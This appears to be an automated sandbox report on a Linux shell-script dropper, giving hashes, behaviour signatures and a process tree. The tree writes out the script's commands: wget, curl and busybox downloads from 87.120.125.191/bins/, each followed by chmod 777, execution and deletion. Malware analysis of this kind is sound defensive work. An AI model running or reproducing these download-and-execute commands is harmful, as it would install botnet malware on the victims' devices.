Analysis
-
max time kernel
124s -
max time network
156s -
platform
debian-9_mips -
resource
debian9-mipsbe-20240611-en -
resource tags
arch:mipsimage:debian9-mipsbe-20240611-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipssystem -
submitted
21/11/2024, 05:44
Static task
static1
Behavioral task
behavioral1
Sample
73c2d44e1df7c3080980bafb0d96b473c0c55c1c2c881bddc84b85e494e60afc.sh
Resource
ubuntu1804-amd64-20240611-en
Behavioral task
behavioral2
Sample
73c2d44e1df7c3080980bafb0d96b473c0c55c1c2c881bddc84b85e494e60afc.sh
Resource
debian9-armhf-20240611-en
Behavioral task
behavioral3
Sample
73c2d44e1df7c3080980bafb0d96b473c0c55c1c2c881bddc84b85e494e60afc.sh
Resource
debian9-mipsbe-20240611-en
Behavioral task
behavioral4
Sample
73c2d44e1df7c3080980bafb0d96b473c0c55c1c2c881bddc84b85e494e60afc.sh
Resource
debian9-mipsel-20240611-en
General
-
Target
73c2d44e1df7c3080980bafb0d96b473c0c55c1c2c881bddc84b85e494e60afc.sh
-
Size
10KB
-
MD5
f89bc50dfbb7c1f6bdcfde6855f8763e
-
SHA1
71f40eb3ade58924b2bb881a77a0e1c5ffa060f5
-
SHA256
73c2d44e1df7c3080980bafb0d96b473c0c55c1c2c881bddc84b85e494e60afc
-
SHA512
b6d38452373481067cfa97a4989a56285ac0ad682a202e0ebd7d4bc4671bddaae920074eacd84be1be6a9483d8b74dd810814d85f438c93739f4b18113508f89
-
SSDEEP
192:mjn3I4I7TXm7OCZ/Nv8vEvn65Qy7tXtDtoE7QAp7RRrZOZCZDBB8anPnbngPnlQd:3eJlS6n6uyfpmS/LgPnH/LgPnD9S6n6i
Malware Config
Signatures
-
File and Directory Permissions Modification 1 TTPs 13 IoCs
Adversaries may modify file or directory permissions to evade defenses.
pid Process 832 chmod 870 chmod 876 chmod 882 chmod 741 chmod 765 chmod 816 chmod 822 chmod 852 chmod 729 chmod 747 chmod 784 chmod 808 chmod -
Executes dropped EXE 13 IoCs
ioc pid Process /tmp/uD9ClQSN1Ei2Ufba1Ga3i8snS6g54PEcNM 730 uD9ClQSN1Ei2Ufba1Ga3i8snS6g54PEcNM /tmp/Ukih2QCou2Bv2MiSeDYbJGnFUPtZA45aKE 742 Ukih2QCou2Bv2MiSeDYbJGnFUPtZA45aKE /tmp/eUBxrY5VHMCCk9EGNgKSMCoNXHYHQEE6PQ 748 eUBxrY5VHMCCk9EGNgKSMCoNXHYHQEE6PQ /tmp/6C6vkRTxj30mARZsdGPnPAoIUz2I2uJ4Ik 766 6C6vkRTxj30mARZsdGPnPAoIUz2I2uJ4Ik /tmp/WoLIUlBg806gX5DEGrIDeILtPvI7zIJcpq 785 WoLIUlBg806gX5DEGrIDeILtPvI7zIJcpq /tmp/bCwfYiSWdnPM8nF9QCNQFauUupVa11ocfN 809 bCwfYiSWdnPM8nF9QCNQFauUupVa11ocfN /tmp/yhuFpgnqmroDbPC5o9RCJieYW1CFOnQDYc 817 yhuFpgnqmroDbPC5o9RCJieYW1CFOnQDYc /tmp/SfInoCDmB6zQx1NlaBv6CjHcnO0lcJ3wNX 823 SfInoCDmB6zQx1NlaBv6CjHcnO0lcJ3wNX /tmp/ELfm8a3wKCyvHLOz2xFrbBioqCoX4SPqt5 833 ELfm8a3wKCyvHLOz2xFrbBioqCoX4SPqt5 /tmp/ReS1F25hvGPCIW4ckz6bbIqnItZmdnBSxm 853 ReS1F25hvGPCIW4ckz6bbIqnItZmdnBSxm /tmp/zBNGtXGLlgbJyNUkNvVPIaQkCscHKUnS2f 871 zBNGtXGLlgbJyNUkNvVPIaQkCscHKUnS2f /tmp/nHQ7bZHL7csrB6Ps3rFIYrulC4l3OPemLD 877 nHQ7bZHL7csrB6Ps3rFIYrulC4l3OPemLD /tmp/asIYHC8adseWEP5b4sxsU9yXJskkGiXN3y 883 asIYHC8adseWEP5b4sxsU9yXJskkGiXN3y -
description ioc Process File opened for reading /proc/sys/crypto/fips_enabled curl File opened for reading /proc/sys/crypto/fips_enabled curl File opened for reading /proc/sys/crypto/fips_enabled curl File opened for reading /proc/sys/crypto/fips_enabled curl File opened for reading /proc/sys/crypto/fips_enabled curl File opened for reading /proc/sys/crypto/fips_enabled curl File opened for reading /proc/sys/crypto/fips_enabled curl File opened for reading /proc/sys/crypto/fips_enabled curl File opened for reading /proc/sys/crypto/fips_enabled curl File opened for reading /proc/sys/crypto/fips_enabled curl File opened for reading /proc/sys/crypto/fips_enabled curl File opened for reading /proc/sys/crypto/fips_enabled curl File opened for reading /proc/sys/crypto/fips_enabled curl File opened for reading /proc/sys/crypto/fips_enabled curl -
Writes file to tmp directory 13 IoCs
Malware often drops required files in the /tmp directory.
description ioc Process File opened for modification /tmp/SfInoCDmB6zQx1NlaBv6CjHcnO0lcJ3wNX curl File opened for modification /tmp/uD9ClQSN1Ei2Ufba1Ga3i8snS6g54PEcNM curl File opened for modification /tmp/bCwfYiSWdnPM8nF9QCNQFauUupVa11ocfN curl File opened for modification /tmp/yhuFpgnqmroDbPC5o9RCJieYW1CFOnQDYc curl File opened for modification /tmp/WoLIUlBg806gX5DEGrIDeILtPvI7zIJcpq curl File opened for modification /tmp/ELfm8a3wKCyvHLOz2xFrbBioqCoX4SPqt5 curl File opened for modification /tmp/ReS1F25hvGPCIW4ckz6bbIqnItZmdnBSxm curl File opened for modification /tmp/zBNGtXGLlgbJyNUkNvVPIaQkCscHKUnS2f curl File opened for modification /tmp/nHQ7bZHL7csrB6Ps3rFIYrulC4l3OPemLD curl File opened for modification /tmp/Ukih2QCou2Bv2MiSeDYbJGnFUPtZA45aKE curl File opened for modification /tmp/eUBxrY5VHMCCk9EGNgKSMCoNXHYHQEE6PQ curl File opened for modification /tmp/6C6vkRTxj30mARZsdGPnPAoIUz2I2uJ4Ik curl File opened for modification /tmp/asIYHC8adseWEP5b4sxsU9yXJskkGiXN3y curl
Processes
-
/tmp/73c2d44e1df7c3080980bafb0d96b473c0c55c1c2c881bddc84b85e494e60afc.sh/tmp/73c2d44e1df7c3080980bafb0d96b473c0c55c1c2c881bddc84b85e494e60afc.sh1⤵PID:699
-
/bin/rm/bin/rm bins.sh2⤵PID:708
-
-
/usr/bin/wgetwget http://87.120.125.191/bins/uD9ClQSN1Ei2Ufba1Ga3i8snS6g54PEcNM2⤵PID:710
-
-
/usr/bin/curlcurl -O http://87.120.125.191/bins/uD9ClQSN1Ei2Ufba1Ga3i8snS6g54PEcNM2⤵
- Reads runtime system information
- Writes file to tmp directory
PID:716
-
-
/bin/busybox/bin/busybox wget http://87.120.125.191/bins/uD9ClQSN1Ei2Ufba1Ga3i8snS6g54PEcNM2⤵PID:726
-
-
/bin/chmodchmod 777 uD9ClQSN1Ei2Ufba1Ga3i8snS6g54PEcNM2⤵
- File and Directory Permissions Modification
PID:729
-
-
/tmp/uD9ClQSN1Ei2Ufba1Ga3i8snS6g54PEcNM./uD9ClQSN1Ei2Ufba1Ga3i8snS6g54PEcNM2⤵
- Executes dropped EXE
PID:730
-
-
/bin/rmrm uD9ClQSN1Ei2Ufba1Ga3i8snS6g54PEcNM2⤵PID:732
-
-
/usr/bin/wgetwget http://87.120.125.191/bins/Ukih2QCou2Bv2MiSeDYbJGnFUPtZA45aKE2⤵PID:733
-
-
/usr/bin/curlcurl -O http://87.120.125.191/bins/Ukih2QCou2Bv2MiSeDYbJGnFUPtZA45aKE2⤵
- Reads runtime system information
- Writes file to tmp directory
PID:735
-
-
/bin/busybox/bin/busybox wget http://87.120.125.191/bins/Ukih2QCou2Bv2MiSeDYbJGnFUPtZA45aKE2⤵PID:740
-
-
/bin/chmodchmod 777 Ukih2QCou2Bv2MiSeDYbJGnFUPtZA45aKE2⤵
- File and Directory Permissions Modification
PID:741
-
-
/tmp/Ukih2QCou2Bv2MiSeDYbJGnFUPtZA45aKE./Ukih2QCou2Bv2MiSeDYbJGnFUPtZA45aKE2⤵
- Executes dropped EXE
PID:742
-
-
/bin/rmrm Ukih2QCou2Bv2MiSeDYbJGnFUPtZA45aKE2⤵PID:743
-
-
/usr/bin/wgetwget http://87.120.125.191/bins/eUBxrY5VHMCCk9EGNgKSMCoNXHYHQEE6PQ2⤵PID:744
-
-
/usr/bin/curlcurl -O http://87.120.125.191/bins/eUBxrY5VHMCCk9EGNgKSMCoNXHYHQEE6PQ2⤵
- Reads runtime system information
- Writes file to tmp directory
PID:745
-
-
/bin/busybox/bin/busybox wget http://87.120.125.191/bins/eUBxrY5VHMCCk9EGNgKSMCoNXHYHQEE6PQ2⤵PID:746
-
-
/bin/chmodchmod 777 eUBxrY5VHMCCk9EGNgKSMCoNXHYHQEE6PQ2⤵
- File and Directory Permissions Modification
PID:747
-
-
/tmp/eUBxrY5VHMCCk9EGNgKSMCoNXHYHQEE6PQ./eUBxrY5VHMCCk9EGNgKSMCoNXHYHQEE6PQ2⤵
- Executes dropped EXE
PID:748
-
-
/bin/rmrm eUBxrY5VHMCCk9EGNgKSMCoNXHYHQEE6PQ2⤵PID:750
-
-
/usr/bin/wgetwget http://87.120.125.191/bins/6C6vkRTxj30mARZsdGPnPAoIUz2I2uJ4Ik2⤵PID:752
-
-
/usr/bin/curlcurl -O http://87.120.125.191/bins/6C6vkRTxj30mARZsdGPnPAoIUz2I2uJ4Ik2⤵
- Reads runtime system information
- Writes file to tmp directory
PID:756
-
-
/bin/busybox/bin/busybox wget http://87.120.125.191/bins/6C6vkRTxj30mARZsdGPnPAoIUz2I2uJ4Ik2⤵PID:762
-
-
/bin/chmodchmod 777 6C6vkRTxj30mARZsdGPnPAoIUz2I2uJ4Ik2⤵
- File and Directory Permissions Modification
PID:765
-
-
/tmp/6C6vkRTxj30mARZsdGPnPAoIUz2I2uJ4Ik./6C6vkRTxj30mARZsdGPnPAoIUz2I2uJ4Ik2⤵
- Executes dropped EXE
PID:766
-
-
/bin/rmrm 6C6vkRTxj30mARZsdGPnPAoIUz2I2uJ4Ik2⤵PID:769
-
-
/usr/bin/wgetwget http://87.120.125.191/bins/WoLIUlBg806gX5DEGrIDeILtPvI7zIJcpq2⤵PID:770
-
-
/usr/bin/curlcurl -O http://87.120.125.191/bins/WoLIUlBg806gX5DEGrIDeILtPvI7zIJcpq2⤵
- Reads runtime system information
- Writes file to tmp directory
PID:775
-
-
/bin/busybox/bin/busybox wget http://87.120.125.191/bins/WoLIUlBg806gX5DEGrIDeILtPvI7zIJcpq2⤵PID:781
-
-
/bin/chmodchmod 777 WoLIUlBg806gX5DEGrIDeILtPvI7zIJcpq2⤵
- File and Directory Permissions Modification
PID:784
-
-
/tmp/WoLIUlBg806gX5DEGrIDeILtPvI7zIJcpq./WoLIUlBg806gX5DEGrIDeILtPvI7zIJcpq2⤵
- Executes dropped EXE
PID:785
-
-
/bin/rmrm WoLIUlBg806gX5DEGrIDeILtPvI7zIJcpq2⤵PID:788
-
-
/usr/bin/wgetwget http://87.120.125.191/bins/bCwfYiSWdnPM8nF9QCNQFauUupVa11ocfN2⤵PID:789
-
-
/usr/bin/curlcurl -O http://87.120.125.191/bins/bCwfYiSWdnPM8nF9QCNQFauUupVa11ocfN2⤵
- Reads runtime system information
- Writes file to tmp directory
PID:795
-
-
/bin/busybox/bin/busybox wget http://87.120.125.191/bins/bCwfYiSWdnPM8nF9QCNQFauUupVa11ocfN2⤵PID:805
-
-
/bin/chmodchmod 777 bCwfYiSWdnPM8nF9QCNQFauUupVa11ocfN2⤵
- File and Directory Permissions Modification
PID:808
-
-
/tmp/bCwfYiSWdnPM8nF9QCNQFauUupVa11ocfN./bCwfYiSWdnPM8nF9QCNQFauUupVa11ocfN2⤵
- Executes dropped EXE
PID:809
-
-
/bin/rmrm bCwfYiSWdnPM8nF9QCNQFauUupVa11ocfN2⤵PID:811
-
-
/usr/bin/wgetwget http://87.120.125.191/bins/yhuFpgnqmroDbPC5o9RCJieYW1CFOnQDYc2⤵PID:812
-
-
/usr/bin/curlcurl -O http://87.120.125.191/bins/yhuFpgnqmroDbPC5o9RCJieYW1CFOnQDYc2⤵
- Reads runtime system information
- Writes file to tmp directory
PID:814
-
-
/bin/busybox/bin/busybox wget http://87.120.125.191/bins/yhuFpgnqmroDbPC5o9RCJieYW1CFOnQDYc2⤵PID:815
-
-
/bin/chmodchmod 777 yhuFpgnqmroDbPC5o9RCJieYW1CFOnQDYc2⤵
- File and Directory Permissions Modification
PID:816
-
-
/tmp/yhuFpgnqmroDbPC5o9RCJieYW1CFOnQDYc./yhuFpgnqmroDbPC5o9RCJieYW1CFOnQDYc2⤵
- Executes dropped EXE
PID:817
-
-
/bin/rmrm yhuFpgnqmroDbPC5o9RCJieYW1CFOnQDYc2⤵PID:818
-
-
/usr/bin/wgetwget http://87.120.125.191/bins/SfInoCDmB6zQx1NlaBv6CjHcnO0lcJ3wNX2⤵PID:819
-
-
/usr/bin/curlcurl -O http://87.120.125.191/bins/SfInoCDmB6zQx1NlaBv6CjHcnO0lcJ3wNX2⤵
- Reads runtime system information
- Writes file to tmp directory
PID:820
-
-
/bin/busybox/bin/busybox wget http://87.120.125.191/bins/SfInoCDmB6zQx1NlaBv6CjHcnO0lcJ3wNX2⤵PID:821
-
-
/bin/chmodchmod 777 SfInoCDmB6zQx1NlaBv6CjHcnO0lcJ3wNX2⤵
- File and Directory Permissions Modification
PID:822
-
-
/tmp/SfInoCDmB6zQx1NlaBv6CjHcnO0lcJ3wNX./SfInoCDmB6zQx1NlaBv6CjHcnO0lcJ3wNX2⤵
- Executes dropped EXE
PID:823
-
-
/bin/rmrm SfInoCDmB6zQx1NlaBv6CjHcnO0lcJ3wNX2⤵PID:824
-
-
/usr/bin/wgetwget http://87.120.125.191/bins/ELfm8a3wKCyvHLOz2xFrbBioqCoX4SPqt52⤵PID:825
-
-
/usr/bin/curlcurl -O http://87.120.125.191/bins/ELfm8a3wKCyvHLOz2xFrbBioqCoX4SPqt52⤵
- Reads runtime system information
- Writes file to tmp directory
PID:826
-
-
/bin/busybox/bin/busybox wget http://87.120.125.191/bins/ELfm8a3wKCyvHLOz2xFrbBioqCoX4SPqt52⤵PID:829
-
-
/bin/chmodchmod 777 ELfm8a3wKCyvHLOz2xFrbBioqCoX4SPqt52⤵
- File and Directory Permissions Modification
PID:832
-
-
/tmp/ELfm8a3wKCyvHLOz2xFrbBioqCoX4SPqt5./ELfm8a3wKCyvHLOz2xFrbBioqCoX4SPqt52⤵
- Executes dropped EXE
PID:833
-
-
/bin/rmrm ELfm8a3wKCyvHLOz2xFrbBioqCoX4SPqt52⤵PID:836
-
-
/usr/bin/wgetwget http://87.120.125.191/bins/ReS1F25hvGPCIW4ckz6bbIqnItZmdnBSxm2⤵PID:838
-
-
/usr/bin/curlcurl -O http://87.120.125.191/bins/ReS1F25hvGPCIW4ckz6bbIqnItZmdnBSxm2⤵
- Reads runtime system information
- Writes file to tmp directory
PID:842
-
-
/bin/busybox/bin/busybox wget http://87.120.125.191/bins/ReS1F25hvGPCIW4ckz6bbIqnItZmdnBSxm2⤵PID:849
-
-
/bin/chmodchmod 777 ReS1F25hvGPCIW4ckz6bbIqnItZmdnBSxm2⤵
- File and Directory Permissions Modification
PID:852
-
-
/tmp/ReS1F25hvGPCIW4ckz6bbIqnItZmdnBSxm./ReS1F25hvGPCIW4ckz6bbIqnItZmdnBSxm2⤵
- Executes dropped EXE
PID:853
-
-
/bin/rmrm ReS1F25hvGPCIW4ckz6bbIqnItZmdnBSxm2⤵PID:856
-
-
/usr/bin/wgetwget http://87.120.125.191/bins/zBNGtXGLlgbJyNUkNvVPIaQkCscHKUnS2f2⤵PID:857
-
-
/usr/bin/curlcurl -O http://87.120.125.191/bins/zBNGtXGLlgbJyNUkNvVPIaQkCscHKUnS2f2⤵
- Reads runtime system information
- Writes file to tmp directory
PID:862
-
-
/bin/busybox/bin/busybox wget http://87.120.125.191/bins/zBNGtXGLlgbJyNUkNvVPIaQkCscHKUnS2f2⤵PID:867
-
-
/bin/chmodchmod 777 zBNGtXGLlgbJyNUkNvVPIaQkCscHKUnS2f2⤵
- File and Directory Permissions Modification
PID:870
-
-
/tmp/zBNGtXGLlgbJyNUkNvVPIaQkCscHKUnS2f./zBNGtXGLlgbJyNUkNvVPIaQkCscHKUnS2f2⤵
- Executes dropped EXE
PID:871
-
-
/bin/rmrm zBNGtXGLlgbJyNUkNvVPIaQkCscHKUnS2f2⤵PID:872
-
-
/usr/bin/wgetwget http://87.120.125.191/bins/nHQ7bZHL7csrB6Ps3rFIYrulC4l3OPemLD2⤵PID:873
-
-
/usr/bin/curlcurl -O http://87.120.125.191/bins/nHQ7bZHL7csrB6Ps3rFIYrulC4l3OPemLD2⤵
- Reads runtime system information
- Writes file to tmp directory
PID:874
-
-
/bin/busybox/bin/busybox wget http://87.120.125.191/bins/nHQ7bZHL7csrB6Ps3rFIYrulC4l3OPemLD2⤵PID:875
-
-
/bin/chmodchmod 777 nHQ7bZHL7csrB6Ps3rFIYrulC4l3OPemLD2⤵
- File and Directory Permissions Modification
PID:876
-
-
/tmp/nHQ7bZHL7csrB6Ps3rFIYrulC4l3OPemLD./nHQ7bZHL7csrB6Ps3rFIYrulC4l3OPemLD2⤵
- Executes dropped EXE
PID:877
-
-
/bin/rmrm nHQ7bZHL7csrB6Ps3rFIYrulC4l3OPemLD2⤵PID:878
-
-
/usr/bin/wgetwget http://87.120.125.191/bins/asIYHC8adseWEP5b4sxsU9yXJskkGiXN3y2⤵PID:879
-
-
/usr/bin/curlcurl -O http://87.120.125.191/bins/asIYHC8adseWEP5b4sxsU9yXJskkGiXN3y2⤵
- Reads runtime system information
- Writes file to tmp directory
PID:880
-
-
/bin/busybox/bin/busybox wget http://87.120.125.191/bins/asIYHC8adseWEP5b4sxsU9yXJskkGiXN3y2⤵PID:881
-
-
/bin/chmodchmod 777 asIYHC8adseWEP5b4sxsU9yXJskkGiXN3y2⤵
- File and Directory Permissions Modification
PID:882
-
-
/tmp/asIYHC8adseWEP5b4sxsU9yXJskkGiXN3y./asIYHC8adseWEP5b4sxsU9yXJskkGiXN3y2⤵
- Executes dropped EXE
PID:883
-
-
/bin/rmrm asIYHC8adseWEP5b4sxsU9yXJskkGiXN3y2⤵PID:884
-
-
/usr/bin/wgetwget http://87.120.125.191/bins/Xz9ULkwZLi7lBEguACB84kLTXA7Rx7h1OQ2⤵PID:885
-
-
/usr/bin/curlcurl -O http://87.120.125.191/bins/Xz9ULkwZLi7lBEguACB84kLTXA7Rx7h1OQ2⤵
- Reads runtime system information
PID:886
-
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
Loading Replay Monitor...
Downloads
-
Filesize
153B
MD5998368d7c95ea4293237f2320546e440
SHA130dfd2d3bb8a7e3241bd7792e90a98ebb70be3a4
SHA256533a1ca5d6595793725bca7641d9461a0f00dd1732dded3e4281196f5dd21736
SHA512648c4720a85dbf834be1ba00f0e1b4167cc670fe15896efb00a77fb6e0c225a13aae3da10d85fa6e7f726420d9bb3c20c43466e02296d44153c127b7160e0b97